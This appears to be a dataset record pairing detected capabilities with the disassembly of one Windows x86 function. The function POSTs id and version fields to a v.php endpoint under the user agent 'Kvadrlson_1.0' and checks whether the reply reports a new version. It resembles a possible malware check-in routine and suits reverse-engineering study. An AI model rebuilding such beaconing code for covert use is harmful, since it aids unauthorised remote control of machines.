Function at 0x40a250
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x7b4
mov eax, dword [0x422330]
mov dword [esp + 0x7b0], eax
xor eax, eax
mov dword [esp + 0xd], eax
mov dword [esp + 0x11], eax
mov dword [esp + 0x15], eax
push ebx
mov dword [esp + 0x1d], eax
push esi
mov dword [esp + 0x25], eax
lea ecx, [esp + 0x14]
push edi
mov word [esp + 0x2d], ax
push ecx
mov byte [esp + 0x1c], 0
mov byte [esp + 0x33], al
call fcn.004095b0
mov byte [esp + 0x4c], 0
xor eax, eax
mov ecx, 0xf
lea edi, [esp + 0x4d]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edx, [esp + 0x4c]
push edx
stosb byte es:[edi], al
call fcn.00403150
xor eax, eax
mov dword [esp + 0x19], eax
lea ecx, [esp + 0x18]
mov word [esp + 0x1d], ax
push ecx
mov byte [esp + 0x1c], 0
mov byte [esp + 0x23], al
call fcn.0040aea0
xor edx, edx
mov dword [esp + 0x3d], edx
mov dword [esp + 0x41], edx
mov dword [esp + 0x45], edx
mov dword [esp + 0x49], edx
mov dword [esp + 0x4d], edx
lea eax, [esp + 0x3c]
mov word [esp + 0x51], dx
push eax
mov byte [esp + 0x40], 0
mov byte [esp + 0x57], dl
call fcn.00409760
mov byte [esp + 0x2c8], 0
xor eax, eax
mov ecx, 0x3f
lea edi, [esp + 0x2c9]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x2c8]
push ecx
stosw word es:[edi], ax
call fcn.00409860
xor eax, eax
mov byte [esp + 0x9c], 0
mov ecx, 0x3f
lea edi, [esp + 0x9d]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edi, [esp + 0x9c]
add esp, 0x14
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40a350
mov edx, dword [str._cachingDeny]
mov eax, dword [0x41b590]
mov ecx, dword [0x41b594]
mov dword [edi], edx
mov dx, word [0x41b598]
mov dword [edi + 4], eax
mov dword [edi + 8], ecx
lea eax, [esp + 0x18]
mov word [edi + 0xc], dx
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a382
lea edi, [esp + 0x88]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x40a393
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x88]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40a3b3
mov eax, dword [str.id]
mov cl, byte [0x41b588]
mov dword [edi], eax
lea eax, [esp + 0x30]
mov byte [edi + 4], cl
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a3d1
lea edi, [esp + 0x88]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x40a3e2
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x88]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40a402
mov edx, dword [str.ver]
mov ax, word [0x41cf90]
mov dword [edi], edx
mov word [edi + 4], ax
lea eax, [esp + 0x10]
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a422
lea edi, [esp + 0x88]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x40a433
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp + 8]
push ecx
lea edx, [esp + 0x8c]
push edx
mov eax, edx
push str._sacc_d
push eax
call fcn.00411af5
mov ecx, dword [str._i.cuc]
mov al, byte [0x41cf7e]
mov dx, word [0x41cf7c]
mov dword [esp + 0x198], ecx
mov byte [esp + 0x19e], al
mov word [esp + 0x19c], dx
xor eax, eax
mov ecx, 0x49
lea edi, [esp + 0x19f]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x198]
push ecx
mov edx, ecx
push edx
stosb byte es:[edi], al
call fcn.00404140
lea eax, [esp + 0xa0]
add esp, 0x18
mov ecx, eax
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40a4c0
lea edi, [esp + 0x188]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x40a4d3
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov byte [esp + 0x3b8], 0
xor eax, eax
mov ecx, 0xff
lea edi, [esp + 0x3b9]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push str.Before_sending_to_v.php
stosb byte es:[edi], al
call fcn.0040a180
add esp, 4
push 0
push 0
push 0
push 1
push str.Kvadrlson_1.0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
test edi, edi
je 0x40a5d4
push 1
push 0
push 3
push 0
push 0
push 0x50
lea eax, [esp + 0x60]
push eax
push edi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov ebx, eax
test ebx, ebx
je 0x40a5cd
push 1
push 0x4000000
push 0
push 0
push str.HTTP_1.0
lea ecx, [esp + 0x19c]
push ecx
push str.POST
push ebx
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov esi, eax
test esi, esi
je 0x40a5c6
lea eax, [esp + 0x2b8]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a584
sub eax, edx
push eax
lea edx, [esp + 0x2bc]
push edx
push 0
push 0
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
cmp eax, 1
jne 0x40a5bf
lea eax, [esp + 0xc]
push eax
push 0x3ff
lea ecx, [esp + 0x3c0]
push ecx
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, str.true
lea esi, [esp + 0x3b8]
mov ecx, 5
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x40a60d
push str.New_version_
call fcn.0040a180
add esp, 4
mov al, 1
mov ecx, dword [esp + 0x7bc]
call fcn.004118eb
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push str.No_new_version
call fcn.0040a180
mov ecx, dword [esp + 0x7c0]
add esp, 4
xor al, al
call fcn.004118eb
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret